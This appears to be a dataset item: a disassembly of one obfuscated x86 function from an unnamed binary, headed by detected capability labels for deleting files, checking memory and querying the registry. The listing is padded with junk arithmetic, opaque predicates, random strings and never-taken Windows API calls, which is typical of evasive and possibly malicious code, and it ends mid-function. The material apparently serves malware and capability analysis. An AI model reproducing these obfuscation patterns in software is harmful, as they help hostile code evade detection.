Function at 0x100183f4
Capabilities:
Delete file
Get memory capacity
Query or enumerate registry value

Disassembly:
mov eax, 0x1005bb12
call fcn.1005ab18
sub esp, 0x2a8
movdqa xmm0, xmmword [0x10069300]
lea eax, [ebp - 0x208]
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
xor ebx, ebx
push dword [ebp - 0x2c]
mov dword [ebp - 0x8c], ecx
lea ecx, [ebp - 0x88]
push eax
lea eax, [ebp - 0x218]
mov dword [ebp - 0xd0], edx
push eax
push ebx
mov dword [ebp - 0x1f0], ebx
movdqu xmmword [ebp - 0x218], xmm0
mov dword [ebp - 0x88], ebx
mov dword [ebp - 0x84], ebx
mov dword [ebp - 0x80], ebx
call fcn.1000472f
xor eax, eax
mov dword [ebp - 4], ebx
mov esi, dword [ebp - 0x88]
cmp ebx, 0x647c
push 0xfffffffffffffff7
setne al
mov dword [ebp - 0x18], 0x58382bdb
xor ecx, ecx
mov dword [ebp - 0x34], 0xf746e33
pop edi
cmp eax, edi
mov dword [esi + 4], 0xfffc
mov eax, dword [ebp - 0x18]
setne cl
mov dword [ebp - 0x3c], esi
xor edx, edx
mov dword [esi], ecx
test ecx, ecx
sete dl
sub edx, eax
mov eax, dword [ebp - 0x18]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setl cl
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x18]
cmp dword [esi + 4], ebx
je 0x100184c3
cmp dword [ebp - 0x18], ebx
je 0x100184c3
xor eax, eax
inc eax
jmp 0x100184c5
mov eax, ebx
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], ebx
je 0x100184e4
mov dword [ebp - 0x30], 0x34859bb7
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x88]
mov dword [eax], ecx
jmp 0x1001870f
mov dword [ebp - 0x24], edi
lea ecx, [ebp - 0x13c]
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x2c], 0xf87b70d8
push 2
call fcn.10002067
mov byte [ebp - 4], 1
mov dword [ebp - 0x2c], 0x8a746c20
mov dword [ebp - 0x38], 0x4e60d2e6
mov dword [ebp - 0x18], ebx
jmp 0x1001852c
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x13c]
mov dword [eax + ecx*4], 5
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10018519
cmp dword [esi + 4], ebx
je 0x10018541
cmp dword [ebp - 0x24], ebx
je 0x10018541
xor edx, edx
inc edx
jmp 0x10018543
mov edx, ebx
mov eax, dword [ebp - 0x88]
xor ecx, ecx
push 3
pop edi
cmp edx, dword [eax + 8]
mov eax, dword [ebp - 0x24]
setg cl
xor edx, edx
cmp ecx, eax
sete dl
sub edx, 0xbc21b07f
neg edx
sbb edx, edx
inc edx
cmp edx, 0xffff
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0xfffffff8
setle cl
xor eax, eax
imul ecx, dword [ebp - 0x24]
cmp ecx, dword [esi + 4]
setle al
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], edi
jg 0x10018704
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], 0xfffffffc
lea ecx, [ebp - 0x1ec]
mov dword [ebp - 0x2c], 0x3d38e20b
xor esi, esi
mov dword [ebp - 0x2c], 0xe1b460d5
inc esi
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], esi
push 4
call fcn.10002067
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xb8]
mov dword [ebp - 0x28], 0x35a02a90
push edi
call fcn.10002067
push 3
pop edx
mov byte [ebp - 4], dl
mov dword [ebp - 0x18], ebx
jmp 0x100185fa
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1ec]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x100185eb
mov dword [ebp - 0x18], ebx
jmp 0x10018618
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xb8]
mov dword [eax + ecx*4], 0x762a
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x10018605
mov dword [ebp - 0x18], edx
cmp dword [ebp - 0x18], ebx
jl 0x10018673
mov edi, dword [ebp - 0xb8]
mov dword [ebp - 0x2c], 0xffffffff
lea ecx, [ebp - 0x1b8]
push 4
call fcn.10002067
mov dword [ebp - 0x20], ebx
jmp 0x10018657
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1b8]
mov dword [eax + ecx*4], 0xf9af3922
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x10018644
inc dword [ebp - 0x28]
lea ecx, [ebp - 0x1b8]
dec dword [edi + 8]
call fcn.100020ea
dec dword [ebp - 0x18]
jns 0x1001862b
cmp dword [ebp - 0x34], ebx
jne 0x100186c0
mov eax, dword [ebp - 0x3c]
cmp dword [eax + 4], ebx
jne 0x1001868d
mov eax, dword [ebp - 0xb8]
mov edx, ebx
cmp dword [eax + 8], ebx
je 0x1001868f
mov edx, esi
mov eax, dword [ebp - 0x38]
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x88]
setle cl
xor edx, edx
mov eax, dword [eax + 0xc]
sub eax, ecx
mov ecx, dword [ebp - 0xb8]
cmp eax, dword [ecx]
setne dl
xor eax, eax
cmp dword [ecx + 8], edx
setg al
cmp eax, dword [ebp - 0x24]
jle 0x100186c0
mov esi, ebx
mov eax, dword [ebp - 0x30]
xor edx, edx
sub esi, dword [eax + 4]
mov eax, dword [ebp - 0x38]
cmp esi, 0xfffffff8
setle dl
xor ecx, ecx
cmp edx, eax
sete cl
mov dword [ebp - 0x28], ecx
lea ecx, [ebp - 0xb8]
call fcn.100020ea
lea ecx, [ebp - 0x1ec]
mov byte [ebp - 4], 1
call fcn.100020ea
inc dword [ebp - 0x24]
push 3
pop edi
cmp dword [ebp - 0x24], edi
jle 0x1001859e
lea ecx, [ebp - 0x13c]
call fcn.100020ea
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x88]
call fcn.100020ea
mov dword [ebp - 0x30], 0x62e9
cmp dword [ebp - 0x30], 0x65fd
mov dword [ebp - 0x2c], str.buodnnes_qwxjlsv_xefgronhc_mzbo_ezauxsb_bienvkji_helkir_txbtewtgw_ptaotdv_yjiclrnjw_bvcmpglz_qbdvkkisx_vakcxlqei
jle 0x1001878f
mov esi, ebx
mov edi, ebx
mov ecx, edi
mov eax, esi
shl eax, cl
lea ecx, [ebp - 0x250]
cdq
push edx
push eax
call fcn.10001a65
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10018757
mov eax, dword [eax]
push eax
call fcn.10042c54
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x250]
call fcn.100023f4
inc edi
cmp edi, 0x7526
jl 0x10018739
inc esi
cmp esi, 0x24b8
jl 0x10018737
push 0x2172
push 0x13a3
push ebx
call dword [sym.imp.GDI32.dll_PtInRegion]
mov dword [ebp - 0x20], 0xffffffff
xor edx, edx
mov eax, 0x3bc9fc22
inc edx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x24], 0x3b16
mov dword [ebp - 0x1e0], eax
mov dword [ebp - 0x1dc], eax
mov dword [ebp - 0x1d8], eax
mov dword [ebp - 0x1d4], eax
mov dword [ebp - 0x18], ebx
jmp 0x100187d6
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xa0], 0x4ec2e0cf
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x100187c5
mov dword [ebp - 0x18], ebx
jmp 0x100187ef
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x7c], 0xfb07d0d1
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x100187e1
mov dword [ebp - 0x20], 3
cmp dword [ebp - 0x20], ebx
jl 0x1001889d
mov dword [ebp - 0x34], 0xd42ca8cd
mov ecx, 0xd0e75d5f
mov eax, dword [ebp - 0x34]
xor edx, edx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0xa0]
sub ecx, eax
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0xa0]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
cmp eax, ecx
mov eax, dword [ebp - 0x20]
setge dl
cmp edx, dword [ebp + eax*4 - 0xa0]
jl 0x10018857
cmp dword [ebp - 0x34], ebx
je 0x10018857
xor esi, esi
inc esi
jmp 0x10018859
mov esi, ebx
mov eax, dword [ebp - 0x20]
xor edx, edx
mov ecx, dword [ebp + eax*4 - 0xa0]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0xa0]
cmp ecx, eax
sete dl
xor eax, eax
cmp edx, esi
setl al
imul edx, eax, 0xc0e0
mov eax, dword [ebp - 0x20]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setg cl
mov dword [ebp - 0x7c], ecx
dec dword [ebp - 0x20]
jns 0x10018804
push 3
mov dword [ebp - 0x18], 3
pop edi
cmp dword [ebp - 0x18], ebx
jl 0x10018b49
push 2
lea ecx, [ebp - 0x130]
call fcn.10002067
push edi
lea ecx, [ebp - 0xe4]
mov dword [ebp - 4], 4
call fcn.10002067
mov byte [ebp - 4], 5
mov dword [ebp - 0x28], 0x2d6f
cmp dword [ebp - 0x28], 0x3077
jle 0x10018940
mov ecx, ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x34], ebx
mov esi, ebx
mov eax, ebx
mov ebx, dword [ebp - 0x34]
mov dword [ebp - 0x38], eax
and eax, esi
xor eax, ebx
or eax, ecx
mov ecx, 0x10075eb8
cdq
push edx
push eax
call fcn.10001edd
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x38], eax
cmp eax, 0x49b4
jl 0x100188f6
inc esi
push 0
pop ebx
cmp esi, 0x5bf1
jl 0x100188ee
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp eax, 0xa3a
jl 0x100188ec
inc ecx
mov dword [ebp - 0x24], ecx
cmp ecx, 0x3a4c
jl 0x100188e9
mov dword [ebp - 0x34], 0xffffffff
mov byte [ebp - 4], 6
cmp dword [ebp - 0x28], 0x2b69
jge 0x10018984
mov edx, str.qupplfljf_edmjcaex_ktkjyhx_plu_sqcqvcpr_acnco_gxy_gxkyj
mov ecx, 0x10075eb8
call fcn.10003d9f
jmp 0x10018984
xor edx, edx
mov dword [ebp - 0x24], ebx
inc edx
jmp 0x1001899f
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x130]
mov dword [eax + ecx*4], 0x5b97
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jl 0x1001898c
mov dword [ebp - 0x24], ebx
jmp 0x100189bd
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xe4]
mov dword [eax + ecx*4], 0x84502e46
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x100189aa
mov dword [ebp - 0x24], ebx
jmp 0x100189d5
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x7c], 0xfffffffc
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edx
jl 0x100189c7
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], edi
jg 0x10018b27
mov eax, dword [ebp - 0xe4]
mov esi, dword [ebp - 0x130]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x40], esi
xor ecx, ecx
mov dword [ebp - 0x38], 0x1792f572
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0xa0]
cmp eax, 0xffffffff
mov eax, dword [ebp - 0x24]
sete cl
xor edx, edx
cmp ecx, dword [esi + 4]
setl dl
sub edx, 0x12af
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
xor eax, eax
cmp ecx, 0xfffffff6
setl al
xor edx, edx
cmp eax, 0xb636
mov eax, dword [ebp - 0x3c]
setg dl
xor ecx, ecx
mov dword [eax + 8], edx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0xa0]
cmp edx, eax
mov eax, dword [ebp - 0x18]
setl cl
imul ecx, dword [ebp + eax*4 - 0xa0]
test ecx, ecx
jne 0x10018a79
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0xa0], ebx
jne 0x10018a79
xor edx, edx
mov ecx, ebx
inc edx
jmp 0x10018a7e
xor edx, edx
inc edx
mov ecx, edx
mov eax, dword [ebp - 0x18]
sub ecx, eax
imul eax, ecx, 0xdb1
sub eax, dword [esi + 4]
jne 0x10018a95
mov esi, ebx
cmp dword [ebp - 0x18], ebx
je 0x10018a97
mov esi, edx
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0xa0]
cmp eax, esi
setge cl
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x24], ebx
jmp 0x10018b13
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x38], 0x37a762af
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x10018acc
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
xor edx, edx
inc edx
mov dword [ebp - 0x34], 0xffff
cmp dword [ebp - 0x34], ebx
je 0x10018ae4
mov eax, dword [ebp - 0xe4]
mov ecx, edx
cmp dword [eax], ebx
jne 0x10018ae6
mov ecx, ebx
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0xa0], ecx
jne 0x10018af9
mov esi, edx
cmp dword [ebp - 0x38], ebx
jne 0x10018afb
mov esi, ebx
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x28]
sub ecx, eax
inc dword [ebp - 0x28]
cmp ecx, esi
mov eax, edx
cmove eax, ebx
mov dword [ebp - 0x38], eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jle 0x10018ab0
inc dword [ebp - 0x20]
mov esi, dword [ebp - 0x40]
cmp dword [ebp - 0x20], edi
jle 0x100189f8
lea ecx, [ebp - 0xe4]
call fcn.100020ea
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x130]
call fcn.100020ea
dec dword [ebp - 0x18]
jmp 0x100188a7
xor edx, edx
mov word [ebp - 0x70], 0x9f03
inc edx
mov word [ebp - 0x6d], 0x50e
mov byte [ebp - 0x6e], dl
mov byte [ebp - 0x6b], bl
mov word [ebp - 0x6a], 0x302
mov byte [ebp - 0x68], bl
mov dword [ebp - 0x67], 0x6260428
mov byte [ebp - 0x63], 0x3d
mov dword [ebp - 0x28], 0x66c
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x18], ebx
jmp 0x10018b92
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xc0], 0xb03629aa
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10018b81
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x10018bab
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
xor edx, edx
inc edx
mov eax, dword [ebp - 0xc0]
xor ecx, ecx
test eax, eax
sets cl
cmp ecx, dword [ebp - 0x28]
jle 0x10018bd9
mov eax, dword [ebp - 0xc0]
cmp edx, eax
mov eax, dword [ebp - 0xc0]
sbb ecx, ecx
neg ecx
sub ecx, eax
je 0x10018bd6
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
push 0x62
pop eax
push 3
pop edi
mov word [ebp - 0x11e], ax
lea ecx, [ebp - 0x148]
mov dword [ebp - 0x40], 0x1fc2da8a
mov dword [ebp - 0x40], 0x57a7c203
push edi
call fcn.10002067
mov dword [ebp - 4], 8
mov dword [ebp - 0x40], 1
mov dword [ebp - 0x40], 5
mov dword [ebp - 0x40], 0xb17b4d2c
mov dword [ebp - 0x40], 0x78cd
mov dword [ebp - 0x20], ebx
jmp 0x10018c38
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x148]
or dword [eax + ecx*4], 0xffffffff
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x10018c28
mov dword [ebp - 0x20], ebx
jmp 0x10018c53
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xd8], 0xffff
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x10018c42
mov dword [ebp - 0x20], ebx
jmp 0x10018c6f
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x238], 0xfffffff9
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x10018c5e
mov dword [ebp - 0x3c], 0x6ed1
cmp dword [ebp - 0x3c], 0x7135
jle 0x10018d1c
push ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawFocusRect]
mov eax, ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], 0x241e
mov esi, dword [ebp - 0x28]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], 0x3014
cdq
lea ecx, [ebp - 0x298]
push edx
push eax
call fcn.10001a65
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10018cd5
mov eax, dword [eax]
push eax
call fcn.10042c54
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x298]
call fcn.100023f4
mov eax, dword [ebp - 0x38]
add eax, esi
dec dword [ebp - 0x34]
mov dword [ebp - 0x38], eax
jne 0x10018cbd
mov esi, dword [ebp - 0x20]
add dword [ebp - 0x28], esi
dec dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
jne 0x10018cb0
inc esi
mov dword [ebp - 0x20], esi
cmp esi, 0x2deb
jl 0x10018ca6
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 0x7146
jl 0x10018ca3
mov ecx, dword [ebp - 0x40]
xor edx, edx
mov eax, dword [ebp - 0x148]
cmp dword [eax], ecx
mov eax, dword [ebp - 0xd4]
sete dl
inc dword [ebp - 0xd4]
cmp eax, edx
jge 0x10018d41
xor eax, eax
inc eax
jmp 0x10018d43
mov eax, ebx
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x3c], 0x6af6
jge 0x10018d5d
push str.tfb_huncn_hjabck_evjaujz_gozjos_toq_ejz_kuztkhd_owih
call fcn.10042c54
pop ecx
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x10018d75
push 1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetSystemMenu]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x148]
call fcn.100020ea
push 2
pop esi
movzx eax, byte [ebp + esi - 0x72]
movzx ecx, byte [ebp + esi - 0x6f]
movzx edx, word [ebp + eax*2 - 0x124]
mov eax, edx
and eax, ecx
add eax, eax
sub edx, eax
movzx eax, byte [ebp + esi - 0x70]
add edx, ecx
add esi, 2
mov word [ebp + eax*2 - 0x124], dx
cmp esi, 0xe
jb 0x10018d87
push 2
lea ecx, [ebp - 0x188]
call fcn.10002067
mov dword [ebp - 0x18], 0xfffffffb
mov dword [ebp - 0x18], ebx
jmp 0x10018de4
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x188]
mov dword [eax + ecx*4], 0xfffffffd
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10018dd1
mov dword [ebp - 0x18], 1
cmp dword [ebp - 0x18], ebx
jl 0x10018e19
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x10018e14
push ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetClipBox]
dec dword [ebp - 0x18]
jns 0x10018df6
lea ecx, [ebp - 0x188]
call fcn.100020ea
xor eax, eax
cmp dword [ebp - 0x30], 0x6252
mov word [ebp - 0x116], ax
jge 0x10018e3f
push dword [ebp - 0x2c]
call fcn.10042c54
pop ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1d0]
xor eax, eax
mov dword [ebp - 0x1bc], 7
mov word [ebp - 0x1d0], ax
lea eax, [ebp - 0x124]
push eax
mov dword [ebp - 0x1c0], ebx
call fcn.10007edd
push 2
lea ecx, [ebp - 0x160]
mov dword [ebp - 4], 0xd
call fcn.10002067
xor edx, edx
inc edx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x2c], 0xfff7
mov dword [ebp - 0x18], ebx
jmp 0x10018ea7
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x160]
mov dword [eax + ecx*4], 0xec0a
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10018e94
mov dword [ebp - 0x18], ebx
jmp 0x10018ec3
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x160]
cmp dword [eax + ecx*4], ebx
jne 0x10018ec8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jle 0x10018eb2
mov dword [ebp - 0x18], 0xffffffe3
jmp 0x10018ed9
cmp dword [ebp - 0x2c], ebx
jne 0x10018edf
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x19
jle 0x10018ed1
lea ecx, [ebp - 0x160]
call fcn.100020ea
mov eax, ebx
mov dword [ebp - 0x38], ebx
cmp eax, 8
jae 0x100190d8
mov dword [ebp - 0x18], 0x37b1891f
mov dword [ebp - 0x3c], 0x5f6
cmp dword [ebp - 0x3c], 0x86d
jle 0x10018f9c
push 0x22da
push ebx
push 0x2d5
push ebx
push 0xbfc
push ebx
call dword [sym.imp.KERNEL32.dll_CompareStringW]
mov eax, ebx
mov dword [ebp - 0x28], ebx
mov esi, ebx
mov dword [ebp - 0x30], ebx
cdq
idiv esi
mov dword [ebp - 0x2c], ebx
mov esi, ebx
mov eax, edx
mov dword [ebp - 0x40], eax
mov ecx, esi
shl eax, cl
lea ecx, [ebp - 0x268]
cdq
push edx
push eax
call fcn.10001a65
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10018f5e
mov eax, dword [eax]
push eax
call fcn.10042c54
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x268]
call fcn.100023f4
mov eax, dword [ebp - 0x40]
inc esi
cmp esi, 0x632d
jl 0x10018f42
mov esi, dword [ebp - 0x30]
mov eax, dword [ebp - 0x28]
inc esi
mov dword [ebp - 0x30], esi
cmp esi, 0x1742
jl 0x10018f35
inc eax
mov dword [ebp - 0x28], eax
cmp eax, 0x3343
jl 0x10018f30
mov dword [ebp - 0x2c], 0x28a062b0
cmp dword [ebp - 0x3c], 0x241
jge 0x10018fb7
push str.klgrebf_jsnn_mnhsnmy_kna_ryviw_rsyi_fdpexbuv_jtvynkeb_ycdigzn_cejntuox_tvbgncble
call fcn.10042c54
pop ecx
mov dword [ebp - 4], 0xd
lea ecx, [ebp - 0xf0]
mov dword [ebp - 0x28], 9
push 2
call fcn.10002067
mov dword [ebp - 0x28], 0xffffffff
mov dword [ebp - 0x30], 0xfffffffc
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x24], ebx
jmp 0x10019002
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xf0]
mov dword [eax + ecx*4], 0xfffffff8
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jl 0x10018fef
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
je 0x10019013
mov eax, dword [ebp - 0x18]
dec dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x18]
jle 0x1001902d
mov eax, dword [ebp - 0x20]
inc dword [ebp - 0x20]
test eax, eax
je 0x1001902d
xor edx, edx
inc edx
jmp 0x1001902f
mov edx, ebx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
sub ecx, 0x5860
mov esi, dword [ebp - 0xf0]
neg ecx
sbb ecx, ecx
neg ecx
imul ecx, edx
xor edx, edx
cmp ecx, eax
setg dl
xor ecx, ecx
imul edx, dword [esi]
cmp edx, 1
setg cl
xor eax, eax
cmp ecx, 0xfffffffd
setl al
xor ecx, ecx
imul eax, eax, 0x8264
mov dword [esi], eax
mov eax, dword [ebp - 0x20]
cmp dword [esi + 4], eax
setle cl
xor edx, edx
mov dword [ebp - 0x18], ecx
inc edx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xf0]
mov dword [eax], ecx
mov ecx, edx
imul eax, dword [ebp - 0x34], 0x3b01
sub ecx, eax
je 0x100190a3
cmp dword [ebp - 0x34], ebx
jne 0x100190aa
cmp dword [ebp - 0x2c], ebx
jne 0x100190aa
mov edx, ebx
mov eax, dword [ebp - 0x30]
xor ecx, ecx
cmp edx, eax
sete cl
mov dword [ebp - 0x28], ecx
lea ecx, [ebp - 0xf0]
call fcn.100020ea
mov eax, dword [ebp - 0x38]
xor ecx, ecx
mov word [ebp + eax*2 - 0x124], cx
inc eax
mov dword [ebp - 0x38], eax
jmp 0x10018eef
push dword [ebp - 0xd0]
lea ecx, [ebp - 0x208]
call fcn.10001ff2
push edi
lea ecx, [ebp - 0x16c]
mov byte [ebp - 4], 0x10
call fcn.10002067
mov dword [ebp - 0x2c], 0xab60e704
mov dword [ebp - 0x18], ebx
jmp 0x10019118
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x16c]
mov dword [eax + ecx*4], 0x7f825e7a
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x10019105
mov dword [ebp - 0x18], ebx
jmp 0x10019133
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x190], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10019122
mov eax, dword [ebp - 0x16c]
lea ecx, [ebp - 0x16c]
inc dword [eax + 8]
mov eax, dword [ebp - 0x190]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x2c], eax
call fcn.100020ea
push 1
lea ecx, [ebp - 0x154]
mov byte [ebp - 0x4c], bl
mov dword [ebp - 0x4b], 0xadd022c
call fcn.10002067
xor edx, edx
mov dword [ebp - 0x18], ebx
inc edx
jmp 0x1001918e
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x154]
mov dword [eax + ecx*4], 0x5b57fd54
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1001917b
mov dword [ebp - 0x18], ebx
jmp 0x100191a6
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x78], 0x4c506d44
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10019198
mov dword [ebp - 0x74], ebx
cmp dword [ebp - 0x74], ebx
jl 0x100191e0
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov eax, dword [ebp - 0x154]
cmp dword [eax + ecx*4], edi
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, 7
setle cl
mov dword [ebp - 0x2c], ecx
dec dword [ebp - 0x74]
jns 0x100191b4
lea ecx, [ebp - 0x154]
call fcn.100020ea
push 0x5c
pop eax
push 2
mov word [ebp - 0x50], ax
mov ecx, ebx
pop esi
cmp esi, 2
jne 0x10019202
mov ecx, edi
mov esi, edi
jmp 0x10019229
movzx edx, byte [ebp + esi - 0x4b]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x4e]
movzx eax, word [ebp + eax*2 - 0x50]
mov ecx, eax
and eax, edx
or ecx, edx
sub ecx, eax
movzx eax, byte [ebp + esi - 0x4c]
mov word [ebp + eax*2 - 0x50], cx
mov ecx, ebx
add esi, 2
cmp esi, 5
jb 0x100191f7
xor ecx, ecx
mov dword [ebp - 0x24], 8
mov dword [ebp - 0x18], ebx
inc ecx
jmp 0x1001924a
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x60], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10019240
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], ebx
jg 0x100194b4
push 2
lea ecx, [ebp - 0xac]
call fcn.10002067
mov byte [ebp - 4], 0x11
mov dword [ebp - 0x18], ebx
jmp 0x10019284
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xac]
mov dword [eax + ecx*4], 0xfffffffa
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10019271
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x1001929f
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov eax, dword [ebp - 0xac]
add eax, 4
mov dword [eax], ebx
cmp dword [eax], ebx
jg 0x1001949d
mov dword [ebp - 0x18], ebx
jmp 0x100192c5
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x44], 1
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 1
jl 0x100192b7
mov dword [ebp - 0x44], ebx
cmp dword [ebp - 0x44], ebx
jg 0x1001948d
mov dword [ebp - 0x18], 0x46cdead9
